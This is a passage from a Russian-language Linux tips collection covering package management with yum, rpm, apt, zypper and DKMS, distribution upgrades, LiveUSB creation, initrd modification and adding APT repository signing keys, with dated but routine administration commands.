    
       yumdownloader -C --urls пакет
    
    Преварительно нужно все-таки обновить кэш с помощью "yum update".
    
    В основанных на Red Hat дистрибутивах скаченные пакеты можно либо с помощью yum либо с помощью rpm:
    
       yum localinstall название_файлов_пакетов_через_пробел
       rpm -Uhv название_файлов_пакетов_через_пробел
    
    Yum скачает недостающие зависимости. Если список был сгенерирован верно, то это не нужно, 
    и необходимо использовать rpm.
    
    Две полезные команды, которые установят все rpm-пакеты из текущей директории:
    
       ls -l | grep rpm | awk '{print $9}' | xargs yum localinstall
       ls -l | grep rpm | awk '{print $9}' | xargs rpm -Uhv
    
    --------------
    
    Как заставить apt-get установить вручную загруженные пакеты: http://www.opennet.ru/tips/info/1707.shtml
    
    Для загрузки обновлений на внешней машине с Windows можно использовать Keryx
    (http://www.opennet.ru/opennews/art.shtml?num=19650)
    
    В графическом интерфейсе synaptic есть возможность сгенерировать скрипт для
    загрузки выбранных пакетов
    с их последующей установкой: "генерировать скрипт закачки пакетов" и "добавить закаченные пакеты".
    
     
    ----* Инструкция по обновлению Fedora 9 до Fedora 10  (доп. ссылка 1)   [комментарии]
     
    Первым шагом обновляем базу пакетов текущего релиза:
    
       yum -y update
    
    Чистим кэш yum:
    
       yum clean all
    
    
    Устанавливаем пакет preupdate:
    
        yum install preupgrade
    
    Запускаем GUI интерфейс для проведения обновления (выбираем "Fedora 10"):
    
        preupgrade
    
    На сервере без X window запускаем консольный вариант:
    
        preupgrade-cli "Fedora 10 (Cambridge)"
    
    
    Вариант 2. Используем средсва yum.
    
    Устанавливаем RPM-пакеты с параметрами нового релиза:
    
       rpm -Uvh ftp://download.fedora.redhat.com/pub/fedora/linux/releases/10/Fedora/i386/os/Packages/fedora-release-*.noarch.rpm
    
    Для архитектуры x86_64 меняем в пути "/i386/" на "/x86_64/"
    
    Инициируем процесс обновления:
    
       yum upgrade
    
    При использовании репозитория RPMFusion, его нужно обновить отдельно:
    
       rpm -Uvh http://download1.rpmfusion.org/free/fedora/rpmfusion-free-release-stable.noarch.rpm \
       http://download1.rpmfusion.org/nonfree/fedora/rpmfusion-nonfree-release-stable.noarch.rpm 
    
       yum -y update
    
     
    ----* Общий yum cache для нескольких машин (доп. ссылка 1)   Автор: Жольнай Кирилл  [комментарии]
     
    Берем самый yum-активный из серверов локальной сети, и расшариваем /var/cache/yum по NFS:
    
    В /etc/exports добавляем:
       /var/cache/yum  192.168.0.212/255.255.255.0(rw)
    
    Перезапускаем NFS:
       service nfs restart
    
    Включаем хранение кэша в /etc/yum.conf как на сервере, так и на клиенте:
    В /etc/yum.conf меняем keepcache=0 на keepcache=1:
       sed -i 's/keepcache=0/keepcache=1/' /etc/yum.conf
    
    На клиентской машине монтируем нужные нам папки, в /etc/fstab добавляем:
    
       # yum common cache
       192.168.0.231:/var/cache/yum/base/packages       /var/cache/yum/base/packages nfs
       192.168.0.231:/var/cache/yum/updates/packages    /var/cache/yum/updates/packages nfs
       192.168.0.231:/var/cache/yum/addons/packages     /var/cache/addons/base/packages nfs
       192.168.0.231:/var/cache/yum/centosplus/packages /var/cache/addons/centosplus/packages nfs
       192.168.0.231:/var/cache/yum/extras/packages     /var/cache/addons/extras/packages nfs
    
    И монтируем их:
       mount -a
    
    Если ему каких-нибудь папок не хватит - создайте: 
       mkdir -p /var/cache/yum/{base,updates,addons,centosplus,extras}/packages
    
    Все, пакеты теперь будут скачиваться один раз. 
    В случае недоступности сервера ничего страшного не произойдет - просто пакет скачается.
    
     
    ----* Использование DKMS для перестроения драйверов без их пересборки при обновлении Linux ядра   [комментарии]
     
    В Ubuntu 8.10 интегрирована технология DKMS (Dynamic Kernel Module Support, http://linux.dell.com/dkms),
    позволяющая автоматически перестраивать текущие модули ядра с драйверами
    устройств после обновления версии ядра.
    
    Пример 1. Драйвер mad-wifi на ноутбуке Samsung R25 с wifi-картой на чипсете Atheros AR242x.
    Оригинал заметки: http://blog.antage.name/2008/11/atheros-wifi-dkms.html
    
    1. Ставим DKMS:
    
          sudo apt-get install dkms
    
    2. Качаем и распаковываем исходники драйвера:
    
          cd
          wget http://snapshots.madwifi-project.org/madwifi-hal-0.10.5.6/madwifi-hal-0.10.5.6-r3875-20081105.tar.gz
          sudo tar xzf madwifi-hal-0.10.5.6-r3875-20081105.tar.gz -C /usr/src/
    
    3. Создаем конфиг модуля в файле /usr/src/madwifi-hal-0.10.5.6-r3875-20081105/dkms.conf:
    
          PACKAGE_NAME="madwifi-hal"
          PACKAGE_VERSION="0.10.5.6-r3875-20081105"
    
          AUTOINSTALL="yes"
    
          BUILT_MODULE_NAME[0]="ath_pci"
          BUILT_MODULE_LOCATION[0]="ath/"
          DEST_MODULE_LOCATION[0]="/kernel/net/"
    
          BUILT_MODULE_NAME[1]="ath_hal"
          BUILT_MODULE_LOCATION[1]="ath_hal/"
          DEST_MODULE_LOCATION[1]="/kernel/net/"
    
          BUILT_MODULE_NAME[2]="ath_rate_sample"
          BUILT_MODULE_LOCATION[2]="ath_rate/sample/"
          DEST_MODULE_LOCATION[2]="/kernel/net/"
    
          BUILT_MODULE_NAME[3]="ath_rate_minstrel"
          BUILT_MODULE_LOCATION[3]="ath_rate/minstrel/"
          DEST_MODULE_LOCATION[3]="/kernel/net/"
    
          BUILT_MODULE_NAME[4]="ath_rate_amrr"
          BUILT_MODULE_LOCATION[4]="ath_rate/amrr/"
          DEST_MODULE_LOCATION[4]="/kernel/net/"
    
          BUILT_MODULE_NAME[5]="ath_rate_onoe"
          BUILT_MODULE_LOCATION[5]="ath_rate/onoe/"
          DEST_MODULE_LOCATION[5]="/kernel/net/"
    
          BUILT_MODULE_NAME[6]="wlan"
          BUILT_MODULE_LOCATION[6]="net80211/"
          DEST_MODULE_LOCATION[6]="/kernel/net/"
    
          BUILT_MODULE_NAME[7]="wlan_scan_ap"
          BUILT_MODULE_LOCATION[7]="net80211/"
          DEST_MODULE_LOCATION[7]="/kernel/net/"
    
          BUILT_MODULE_NAME[8]="wlan_scan_sta"
          BUILT_MODULE_LOCATION[8]="net80211/"
          DEST_MODULE_LOCATION[8]="/kernel/net/"
    
          BUILT_MODULE_NAME[9]="wlan_tkip"
          BUILT_MODULE_LOCATION[9]="net80211/"
          DEST_MODULE_LOCATION[9]="/kernel/net/"
    
          BUILT_MODULE_NAME[10]="wlan_xauth"
          BUILT_MODULE_LOCATION[10]="net80211/"
          DEST_MODULE_LOCATION[10]="/kernel/net/"
    
          BUILT_MODULE_NAME[11]="wlan_wep"
          BUILT_MODULE_LOCATION[11]="net80211/"
          DEST_MODULE_LOCATION[11]="/kernel/net/"
    
          BUILT_MODULE_NAME[12]="wlan_ccmp"
          BUILT_MODULE_LOCATION[12]="net80211/"
          DEST_MODULE_LOCATION[12]="/kernel/net/"
    
          BUILT_MODULE_NAME[13]="wlan_acl"
          BUILT_MODULE_LOCATION[13]="net80211/"
          DEST_MODULE_LOCATION[13]="/kernel/net/"
    
    4. Добавлем драйвер в DKMS:
    
          sudo dkms add -m madwifi-hal -v 0.10.5.6-r3875-20081105
    
    5. Собираем и инсталлируем:
    
          sudo dkms build -m madwifi-hal -v 0.10.5.6-r3875-20081105
          sudo dkms install -m madwifi-hal -v 0.10.5.6-r3875-20081105
    
    
    Пример 2. Автосборка модуля файловой системы BTRFS при обновлении ядра.
    Оригинал заметки: http://deepwalker.blogspot.com/2008/11/810-dkms-nvidia-btrfs.html
    
    Загружаем исходники модуля ядра и кладем их в /usr/src/btrfs-0.16. 
    В том же каталоге создаем dkms.conf следующего содержания:
    
          MAKE[0]=make
          BUILT_MODULE_NAME[0]=btrfs
          DEST_MODULE_LOCATION[0]="/kernel/fs/btrfs"
          PACKAGE_NAME="btrfs"
          PACKAGE_VERSION="0.16"
          CLEAN="make clean"
          AUTOINSTALL="yes"
    
    
    Далее следует серия команд для запуска модуля в работу:
    
          # dkms add -m btrfs -v 0.16
          # dkms add -m btrfs -v 0.16
    
          Creating symlink /var/lib/dkms/btrfs/0.16/source -> /usr/src/btrfs-0.16
    
          DKMS: add Completed.
          
          # dkms build -m btrfs -v 0.16
    
          Kernel preparation unnecessary for this kernel. Skipping...
    
          Building module:
          cleaning build area....
          make KERNELRELEASE=2.6.27-7-generic............
          cleaning build area....
    
          DKMS: build Completed.
    
          # dkms install -m btrfs -v 0.16
    
          Running module version sanity check.
    
          btrfs.ko:
          - Original module
          - No original module exists within this kernel
          - Installation
          - Installing to /lib/modules/2.6.27-7-generic/updates/dkms/
    
          depmod........
    
          DKMS: install Completed.
    
          modprobe btrfs
    
     
    ----* Решение проблем с некорректно установленными пакетами в Debian и Ubuntu (доп. ссылка 1)   Автор: Okulov Vitaliy  [комментарии]
     
    После обновления ОС и установки gnome столкнулся с проблемой:
    
       dpkg: ../../src/packages.c:191: process_queue: Assertion 'dependtry <= 4' failed
    
    Соотвественно пакеты больше не ставились и не обновлялись. Погуглив решил
    проблему следующим образом:
    
       sudo dpkg -l | grep -v ^ii
    
    dpkg -l выводит список установленных пакетов, 
    grep -v ^ii - оставляет в выводе только неправильно установленные пакеты. 
    После получения списка таких пакетов, удалил первый из списка неправильно
    установленный пакет командой
    
       sudo dpkg -purge remove имя_пакета
    
    После вышеуказанных манипуляций проблема ушла.
    
     
    ----* Примеры использования пакетного менеджера Zypper в openSUSE (доп. ссылка 1)   [комментарии]
     
    Найти заданный пакет по имени:
       zypper se banshee-1
       zypper se bans*
    
    По умолчанию в результатах поиска отображается имя, описание и тип. Для промотора 
    дополнительных параметров, например, номера версии и имени репозитория, можно использовать:
      zypper se -s пакет
    
    Вывод краткой справки по пакету:
       zypper if пакет
    
    Удаление пакетов по маске:
       zypper rm gtk*devel*
    
    Установка пакетов по маске:
       zypper in gtk-sharp?
    
    Удаление пакета с версией старше заданной:
       zypper rm пакет>1.2.3
    
    Установка и удаление одной командой:
       zypper in пакет_для_установки -пакет_для_удаления +пакет_для_установки
    
    Принудительная установка уже присутствующего в системе пакета:
       zypper in --force пакет
    
    Установка RPM пакетов из файла, а не из репозитория:
       zypper in ./file.rpm
       zypper in http://<;url>/file.rpm
    
    Обновить все установленные в системе пакеты (исправления проблем безопасности и
    критических ошибок):
       zypper up
    
    Обновить систему до более новой версии openSUSE:
       zypper dup
    
    Установить программы, необходимые для пересборки заданного пакета из исходных текстов:
       zypper si -d пакет
    
    Посмотреть список мета-пакетов (сгруппированных наборов):
       zypper pt
    
    Установить мета-пакет:
       zypper in -t pattern xfce
    
    Найти мета-пакет по маске:
       zypper se -t pattern media
    
    Посмотреть список доступных репозиториев пакетов:
       zypper lr
    
    Добавить новый репозиторий:
       zypper ar <url> <name>
    
    Временно отключить первый репозиторий в списке:
       zypper mr -d 1
    
    Временно отключить репозиторий по имени:
       zypper mr -d repo-oss
    
    Удалить первый репозиторий из списка:
       zypper rr 1
    
    Выполнение действия в тестовом режиме, без фактического выполнения операции:
       zypper in --dry-run пакет
    
    Заморозить состояние пакета в текущем виде, для предотвращения случайной установки или удаления:
       zypper addlock пакет
    
    Снятие блокировки:
       zypper removelock пакет
    
     
    ----* Установка OpenSUSE на удаленной машине с управлением по SSH (доп. ссылка 1)   [обсудить]
     
    На машине, на которой планируется установка, загружаем ядро и образ ram-диска:
    
       cd /tmp
       wget http://mirrors.kernel.org/opensuse/distribution/11.0/repo/oss/boot/i386/loader/linux
       wget http://mirrors.kernel.org/opensuse/distribution/11.0/repo/oss/boot/i386/loader/initrd
       cp linux /boot/vmlinuz.install
       cp initrd /boot/initrd.install
    
    Модифицируем настройки Grub, /boot/grub/menu.lst (параметры kernel нужно переписать в одну строку)
    
    title Boot -- openSUSE 11.0
       root (hd0,0)
       kernel /boot/vmlinuz.install noapic usessh=1 sshpassword="12345645" 
          install=http://mirrors.kernel.org/opensuse/distribution/11.0/repo/oss/ 
          hostip=192.168.42.2 gateway=192.168.42.1 nameserver=192.168.42.1
       initrd /boot/initrd.install
    
    Где 
      192.168.42.2 - IP машины на которую производится установка,
      192.168.42.1 - DNS и шлюз
      12345645 - пароль по которому будет осуществлен вход на устанавливаемую машину по SSH
    
    Скрипт для автоматизации вышеприведенных действий можно загрузить по ссылке
       http://www.suse.de/~lnussel/setupgrubfornfsinstall.html
    
    После перезагрузки, заходим c паролем 12345645:
       ssh -X root@192.168.42.2
    
    и начинаем процесс установки запустив yast (текстовый режим) или yast2 (графический режим).
    В случае обрыва процесса установки его можно продолжить, повторив настройки grub 
    и выполнив после входа по SSH:
       /usr/lib/YaST2/startup/YaST2.ssh
    
    При наличии "чистой" машины образ ядра можно загрузить по сети при помощи PXE.
    Пример можно найти в материале: http://wiki.opennet.ru/NetworkBoot
    
    Конфигурация  pxelinux будет выглядеть примерно так:
    
    default pxelinux
       prompt 1 
       timeout 600
    
       label pxelinux.install
       kernel vmlinuz
       append initrd=initrd.install noapic usessh=1 sshpassword="12345645" 
          install=http://mirrors.kernel.org/opensuse/distribution/11.0/repo/oss/ 
          hostip=192.168.42.2 gateway=192.168.42.1 nameserver=192.168.42.1
    
     
    ----* Создание установочного LiveUSB с Ubuntu и OpenSUSE Linux (доп. ссылка 1)   Автор: Roman Tuz  [комментарии]
     
    Подготовка загрузочного Flash для установки Ubuntu Linux.
    
    Устанавливаем syslinux:
       sudo apt-get install syslinux
    
    Устанавливаем загрузчик на Flash (/dev/sdb1 - определить можно из вывода mount или dmesg):
    
       syslinux -s /dev/sdb1
    
    Копируем полностью содержимое стандартного установочного LiveCD диска с Ubuntu Linux на Flash.
    
    Копируем из директории casper два файла vmlinuz и initrd.gz в корень Flash,
    а также все файлы из деректорий isolinux и install.
    
    Переименовываем файл isolinux.cfg в syslinux.cfg.
    
    Другой вариант - создание LiveUSB через специальный GUI интерфейс:
    
    В /etc/apt/sources.list добавляем репозиторий:
       deb http://ppa.launchpad.net/probono/ubuntu hardy main
    
    Ставим пакет liveusb:
       sudo apt-get update
       sudo apt-get install liveusb
    
    Монтируем образ загрузочного диска:
       sudo mount -o loop -tiso9660 ubuntu-8.04.1-desktop-i386.iso /cdrom
    
    Запускаем программу из "Система" - "Администрирование" - "Установить Live USB".
    
    
    Для создания установочного USB диска с OpenSUSE выполняем.
    Устанавливаем syslinux:
       zypper install syslinux
    
    Монтируем установочный ISO образ в директорию /mnt
       mount -o loop ./openSUSE-11.0-DVD-i386.iso /mnt/cdrom
    
    Вставляем usb flash и находим устройство к которому она подключена, анализируя вывод команд:
       fdisk -l
       cat /proc/partitions
       mount
       dmesg
    
    После того как определили искомый /dev/sdb, монтируем Flash:
       mount /dev/sdb /mnt/flash
    
    Копируем на Flash содержимое установочного диска, отдельно перенеся загрузчик в корень:
       cp /mnt/cdrom/boot/i386/loader/* /mnt/flash
    
    и переименовав файл конфигурации:
       mv /mnt/flash/isolinux.cfg /mnt/flash/syslinux.cfg
    
    Отмонтируем flash и устанавливаем загрузчик:
       umount /mnt/flash
       syslinux /dev/sdb
    
     
    ----* Как заставить apt-get установить вручную загруженные пакеты   [комментарии]
     
    В графическом интерфейсе synaptic есть возможность сгенерировать скрипт для
    загрузки выбранных пакетов
    с их последующей установкой: "генерировать скрипт закачки пакетов" и "добавить закаченные пакеты".
    Там где synaptic недоступен, можно поступить иначе:
    
    При указании опции --print-uris в apt-get, вместо установки будет выведен список адресов 
    для загрузки выбранных пакетов с учетом зависимостей.
    
       apt-get -y --print-uris install список_пакетов
    
    посмотреть какие пакеты нужно загрузить для обновления:
    
       apt-get -y --print-uris upgrade
       apt-get -y --print-uris dist-upgrade
    
    посмотреть какие индексы нужно загрузить:
    
      apt-get --print-uris update
    
    Эти пакеты можно загрузить отдельно и скопировать в /var/cache/apt/archives, например:
    
      apt-get -qq -y --print-uris upgrade | cut -f1 -d' ' | tr -d "'" > packet_list.txt
      cd /var/cache/apt/archives
      wget --input-file packet_list.txt
    
    затем повторить команду "apt-get install список_пакетов", пакеты будут установлены из кэша
    
    Вместо /var/cache/apt/archives можно указать и другую директорию:
    
       apt-get -o dir::cache::archives="/download" install список_пакетов
    
     
    ----* Использование http-прокси в APT и при обновлении Ubuntu   Автор: Heckfy  [комментарии]
     
    Для обновления дистрибутива ubuntu до новейшего необходимо выполнить:
    
       $ sudo update-manager -d
    
    Если сообщения о новом дистрибутиве почему-то нет, но оно должно быть,
    необходимо настроить "Сервис прокси".
    Пример:
    
       $ http_proxy='http://proxy.test.ru:3128/' sudo update-manager -d
    
    Апдейт менеджер можно заменить на do-release-upgrade
    
    Работа apt-get и некоторых других консольных приложений через прокси
    осуществляется аналогичным образом:
    
       export http_proxy=http://username:password@host:port/
       export ftp_proxy=http://username:password@host:port/
    
    Еще один способ конфигурирования работы apt через прокси:
    Создаем /etc/apt/apt.conf.d/01proxy:
    
       Acquire {
          http::Proxy "http://username:password@host:port/";
       }
    
     
    ----* Настройка поддержки мультимедиа в Ubuntu 8.04 (доп. ссылка 1)   [комментарии]
     
    Подсказка про установку аудио и видео-кодеков, поддержки просмотра защищенных DVD.
    
       sudo apt-get install gstreamer0.10-plugins-ugly-multiverse \
         gstreamer0.10-plugins-bad-multiverse gstreamer0.10-plugins-bad \
         gstreamer0.10-plugins-ugly gstreamer0.10-ffmpeg libxine1-ffmpeg \   
         libdvdread3 liblame0
    
    В /etc/apt/sources.list добавляем репозиторий Medibuntu:
    
       deb http://packages.medibuntu.org/ hardy free non-free
    
    Импортируем PGP ключ и устанавливаем libdvdcss2 и w32-кодеки:
    
       wget -q http://packages.medibuntu.org/medibuntu-key.gpg -O- \
        | sudo apt-key add -
       sudo apt-get update
    
       sudo apt-get install libdvdcss2 w32codecs ffmpeg
    
    Дополнительные закрытые компоненты, включая flash плагин, java, шрифты.
    
       sudo apt-get install flashplugin-nonfree libflashsupport
       (или можно поставить открытый аналог flash - mozilla-plugin-gnash)
       sudo apt-get install sun-java6-fonts sun-java6-jre sun-java6-plugin
       sudo apt-get install msttcorefonts
    
    Поддержку мультимедиа можно поставить одной командой:
    
       sudo apt-get install ubuntu-restricted-extras
    
    Для Kubuntu - kubuntu-restricted-extras, для xubuntu - xubuntu-restricted-extras
    
    Недостающие кодеки для Ubuntu и Debian можно попытаться найти в репозитории http://debian-multimedia.org/
    
     
    ----* Как в Debian/Ubuntu установить пакет с диска с учетом зависимостей (доп. ссылка 1)   Автор: Tigro  [комментарии]
     
    Установка .deb пакета, уже загруженного на локальный диск,
    с разрешением зависимостей и доустановкой недостающих пакетов:
    
       gdebi пакет.deb
    
     
    ----* Перекомпиляция пакета в Debian и Ubuntu (доп. ссылка 1)   [комментарии]
     
    Перекомпиляция пакета может понадобиться например, для упаковки более новой версии программы, 
    наложения определенного патча или пересборки с особенными опциями.
    
    Устанавливаем программы, необходимые для сборки пакетов:
      apt-get install devscripts 
      apt-get install build-essential
    
    В /etc/apt/sources.list раскомментируем строки с deb-src для нужного репозитория, например:
       deb-src http://ftp.us.debian.org/debian/ etch main non-free contrib
    
    Загружаем пакет с исходными текстами в текущую директорию:
       apt-get source имя_пакета
    
    Если под рукой уже есть .dsc, tar.gz и diff.gz файлы, раскрываем их командой:
       dpkg-source -x имя_пакета.dsc
    
    Устанавливаем зависимые пакеты (библиотеки, заголовочные файлы и т.д.), требуемые для сборки:
       apt-get build-dep имя_пакета
    
    Вносим изменения в появившейся директории "имя_пакета-версия".
    Если собрались импортировать в пакет более новую версию программы, то
    воспользуемся утилитой uupdate:
       uupdate -u путь_к_tar_gz_архиву_c_более_новой_версией_программы
    При этом в автоматическом режиме будут адаптированы патчи от старой версии, 
    в случае несостыковок придется исправлять патчи руками.
    
    Собираем пакет:
      cd имя_пакета-версия
      debuild -us -uc
    
    "-us" и "-uc" указываем так как не являемся мантейнером пакета и не можем
    создать цифровую подпись для пакета.
    
    Вместо враппера debuild можем напрямую использовать:
       dpkg-buildpackage -rfakeroot
    
    После сборки готовый пакет появится в родительской директории, устанавливаем его:
       cd ..
       dpkg -i <package_file.deb>
    
    Пример для пакета с MySQL:
       mkdir build
       cd build 
       apt-get source mysql-server-5.0
       apt-get build-dep mysql-server-5.0
       cd mysql-dfsg-5.0-5.0.32
       debuild -us -uc
       cd ..
       dpkg -i *.deb
    
     
    ----* Как обновить только пакеты находящиеся в архиве APT (доп. ссылка 1)   Автор: Stanislav Kislicin  [обсудить]
     
    Для того чтобы заставить apt обновить систему используя только пакеты из кэша /var/cache/apt/archives,
    а не лезть за ними в интернет, нужно выполнить:
    
       apt-get -no-download -ignore-missing upgrade 
    
    Если пакета нет в кэше, он не будет поставлен.
    
     
    ----* Обеспечение безопасности посредством GLSA в Gentoo Linux  (доп. ссылка 1)   Автор: daevy  [комментарии]
     
    Постоянное обновление системы - одно из важнейших мероприятий по обеспечению безопасности. 
    Можно следить за обновлениями посредством GLSA, для этого не обходимо 
    чтобы в системе был установлен пакет app-portage/gentoolkit. 
    
    в составе пакета идет утилита glsa-check, с которой нам и предстоит работать.
    
    Итак преступим.
    Сначала можно посмотреть все доступные выпуски GLSA
    
       # glsa-check -l
    
    Все строки, содержащие [A] и [U], можно проигнорировать, т.к. они неприменимы для данной системы.
    
    Теперь проверим подвержена ли наша система GLSA
    
       # glsa-check -t all
    
    Или можно просмотреть пакеты которые необходимо переустановить
    
       # glsa-check -p $(glsa-check -t all)
    
    И применить их...
    
       # glsa-check -f $(glsa-check -t all)
    
    И конечно перезапускаем те демоны, которые подверглись переустановке.
    
     
    ----* Установка пакетов с пересборкой из исходных текстов в Ubuntu Linux (доп. ссылка 1)   Автор: openkazan.info  [комментарии]
     
    Устанавливаем пакет apt-build:
    
       apt-get install apt-build  
    
    Настраиваем его командой  dpkg-reconfigure apt-build, тут нам надо будет ответить
    на вопросы об уровне оптимизации и об архитектуре вашего процессора. 
    
    Далее надо убедится, что у нас раскоментированы репозитарии исходников в /etc/apt/sources.list 
    (эти строки начинаются с deb-src). Обновляем список репозитариев apt-get update.  
    
     Ну и всё, дальше вместо apt-get используем apt-build. Ключи и опции apt-build такие же как и у apt-get:  
    
       apt-build update - обновление списка репозитариев и софта в них,
       apt-build upgrade - апгрейд установленных пакетов,
       apt-build install  - устанавливаем программу,
       apt-build world - а это перекомпилит всю вашу систему! Тут всё на ваш страх и риск!
    
    При первом запуске apt-build вы увидите следующее сообщение об ошибке: 
    
       -----Rebuilding the world!-----
       -----Building package list-----
       Please read README.Debian first. 
    
    Просто apt-build не знает какой софт у вас установлен. 
    Для того чтобы побороть эту ошибку достаточно ввести команду:  
    
       dpkg --get-selections | awk '{if ($2 == "install") print $1}'> /etc/apt/apt-build.list 
    
    Ну а дальше работаем с apt-build как с apt-get. 
    Рекомендую вставлять ключи  --yes and --force-yes для  того чтобы весь процесс
    проходил на автомате.
    
     
    ----* Использование шаблонов при поиске пакетов в Aptitude (доп. ссылка 1)   Автор: jetxee  [комментарии]
     
    Список полезных шаблонов, которые можно использовать в aptitude search 
    
       ~nимя - в имени встречается текст "имя" (можно использовать 
                  регулярные выражения, например, ~n^lib отбирает только имена начинающиеся с lib)
    
       ~dтекст - в описании пакета встречается "текст" (очень полезно, если название программы 
                  неизвестно, но известно, что она должна делать)
    
       ~i - отбирает только уже установленные пакеты
    
       ~N - отбирает только новые пакеты (которых раньше не было в репозитории)
    
       ~U - отбирает пакеты, которые можно обновить
    
       ~Dтребование - отбирает пакеты, которые зависят от "требования"
                 (можно использовать регулярные выражения)
    
       ~Rзависимый - отбирает пакеты, которые необходимы для "зависимого" 
                 (можно использовать регулярные выражения)
    
       | - логическое "ИЛИ"
       
       ! - логическое отрицание
    
    
    Например: 
    Найти пакеты в имени которого встречается kde:
       aptitude search ~nkde
    
    Найти пакеты в описании к которым встречается HDR и image:
       aptitude search ~dHDR~dimage
    
    Найти пакеты в названии которых встречается aptitude. но в системе они не установлены:
       aptitude search '!~i~naptitude'
    
    Найти установленные пакеты в названии которых встречается firefox или iceweasel:
       aptitude search '~i(~nfirefox|~niceweasel)'
    
     
    ----* Как обновить CentOS 5.0 до CentOS 5.1 и Fedora 7 до Fedora 8   [обсудить]
     
    Для обновления в пределах одной подверсии (например, с 4.0 до 4.6 или с 5.0 до
    5.1) достаточно выполнить
    
       yum update
    
    Для обновления "major" релизов CentOS  лучше воспользоваться пунктом Upgrade в инсталляторе.
    
    
    Для обновления версий Fedora:
       yum update
       yum clean all
    
       rpm -Uhv \
         http://download.fedora.redhat.com/pub/fedora/linux/releases/8/Fedora/i386/os/Packages/fedora-release-8-3.noarch.rpm\
          http://download.fedora.redhat.com/pub/fedora/linux/releases/8/Fedora/i386/os/Packages/fedora-release-notes-8.0.0-3.noarch.rpm
    
       yum update
       Читаем про особенности обновления между релизами http://fedoraproject.org/wiki/YumUpgradeFaq 
    
     
    ----* Модификация образа загрузочного RAM диска (initrd) в Linux   [комментарии]
     
    Задача добавить модуль ядра usb-storage в "initrd.img" от Fedora Linux
    для загрузки с диска с USB интерфейсом.
    
    
       mkdir ./initrd
       mv ./initrd.img ./initrd.img.gz
       gunzip  ./initrd.img
    
    Метод 1. initrd.img в виде сжатого образа файловой системы
       mount -o loop ./initrd.img ./initrd
    
    Метод 2. initrd.img в виде сжатого cpio архива
       cd ./initrd
       cpio -ic < ../initrd.img
    
    Копируем в ./initrd/lib модуль usb-storage.ko 
    (следим, чтобы уже были модули scsi_mod.ko, (o|e|u)hci-hcd.ko, usbcore.ko)
    Прописываем "insmod /lib/usb-storage.ko" в конец списка загрузки модулей ./initrd/init
    Может потребоваться скопировать команду sleep и прописать после
    загрузки модуля usb-storage задержку, необходимую на обнаружения накопителя.
    
       umount ./initrd  # для метода 1.
       cd ./initrd
       find . -print| cpio -oc |gzip -9 -c > ../initrd_new.img  # для метода 2.
       Другой вариант упаковки (для Fedora 8):
       find . -print| cpio -H newc -o |gzip -9 -c > ../initrd_new.img
    
    
    При загрузке с USB диска большого объема (250Гб) при установке ОС в
    разделе в центре диска не удалось использовать Lilo и Grub. Lilo при
    загрузке ругался на несоответствие текущей геометрии диска той что 
    была в момент его установки. Установка Grub привела к зависанию 
    ноутбука в момент опроса USB диска (проблема BIOS). Выход нашелся в
    установке загрузчика от FreeBSD:
    
    1. Делаем бэкап текущего MBR USB диска:
      dd if=/dev/sda of=mbr_sda.bin bs=1 count=512
    2. Берем boot0 из комплекта FreeBSD и копируем в него данные о таблицах разделов текущего диска:
      dd if=mbr_sda.bin  of=boot0   bs=1 count=66 skip=446 seek=446
    3. Копируем загрузчик в MBR USB диска:
      dd if=boot0 of=/dev/sda  bs=1 count=512
    4. В текущий раздел Linux устанавливаем Grub:
      # grub
      grub> find /boot/grub/stage1
         (hd0,1) раздел /dev/sda2
      grub> root (hd0,1)
      grub> setup (hd0,1)
    
     
    ----* apt + gpg: как добавить сигнатуру репозитория   Автор: Heckfy  [комментарии]
     
    После обновления до Etch в APT появилось много изменений. Одно из них - защита
    от подмены доменной записи.
    
       # apt-get update
          W: GPG error: http://deb.opera.com stable Release: 
          The following signatures couldn't be verified because the public key is not available: 
         +NO_PUBKEY 033431536A423791
         W: You may want to run apt-get update to correct these problems
    
    Для решения проблемы с "apt-get update" предлагается запустить "apt-get
    update". Не будем зацикливаться.
    Получим публичный ключ и сохраним его в пользовательской базе: 
    
       $ sudo gpg --keyserver subkeys.pgp.net --recv-keys 033431536A423791
          gpg: requesting key 6A423791 from hkp server subkeys.pgp.net 
          gpg: key 6A423791: public key "Opera Software Archive Automatic Signing Key <hostmaster@opera.com>" imported 
          gpg: no ultimately trusted keys found gpg: Total number processed: 1
          gpg: imported: 1 
    
    Теперь отдадим нашему apt ключ: 
    
        $ gpg --armor --export 033431536A423791 | sudo apt-key add - 
           OK 
    
    Что-то произошло. 
    
       $ ls -l /etc/apt 
          total 40 
          -rw-r--r-- 1 root root 2524 Nov 14  2006 apt-file.conf 
          drwxr-xr-x 2 root root  112 May 27 02:54 apt.conf.d 
          -rw-r--r-- 1 root root   98 May 27 02:54 listchanges.conf 
          -rw------- 1 root root    0 May 25 10:08 secring.gpg 
          -rw-r--r-- 1 root root 1059 May 25 02:15 sources.list 
          -rw-r--r-- 1 root root  812 May 24 00:19 sources.list-sarge 
          drwxr-xr-x 2 root root   48 Feb 27 00:21 sources.list.d 
          -rw-r--r-- 1 root root  632 Nov 12  2005 sources.list~ 
          -rw------- 1 root root 1200 May 30 10:26 trustdb.gpg 
          -rw-r--r-- 1 root root 4473 May 30 10:26 trusted.gpg 
          -rw-r--r-- 1 root root 4473 May 30 10:26 trusted.gpg~ 
    
    Сегодня - May 30.  Не знаю, что там в trust*, но это нравится нашему apt: 
    
       $ sudo apt-get update 
          Ign file: stable Release.gpg Ign file: stable Release.gpg 
          Ign file: stable Release.gpg Get:1 file: stable Release [802B] 
              Get:2 file: stable Release [627B] Get:3 file: stable Release [627B] 
          Ign file: stable/main Packages 
          Ign file: stable/main Packages 
          Ign file: stable/main Packages 
             Get:4 http://deb.opera.com stable Release.gpg [189B] Hit http://deb.opera.com stable Release 
          Ign http://deb.opera.com stable/non-free Packages/DiffIndex 
          Ign http://deb.opera.com stable/non-free Packages 
              Hit http://deb.opera.com stable/non-free Packages Fetched 189B in 0s (227B/s) 
              Reading package lists... Done  
    
    На всякий случай, посмотрим, что еще изменилось за сегодня в системе: 
    
       $ locate gpg > 1 
       # updatedb && locate gpg > 2 && diff 1 2 
          56a60,65 
           > /home/hec/.gnupg/pubring.gpg 
           > /home/hec/.gnupg/pubring.gpg~ 
           > /home/hec/.gnupg/secring.gpg 
           > /home/hec/.gnupg/trustdb.gpg 
           > /home/hec/.local/share/applications/menu-xdg/X-Debian-Apps-Tools-kgpg.desktop 
           390c404 
           < /var/lib/apt/lists/partial/deb.opera.com_opera_dists_stable_Release.gpg
            --- 
            > /var/lib/apt/lists/deb.opera.com_opera_dists_stable_Release.gpg  
    
    Создались и изменились файлы в ~/.gnupg и deb.opera.
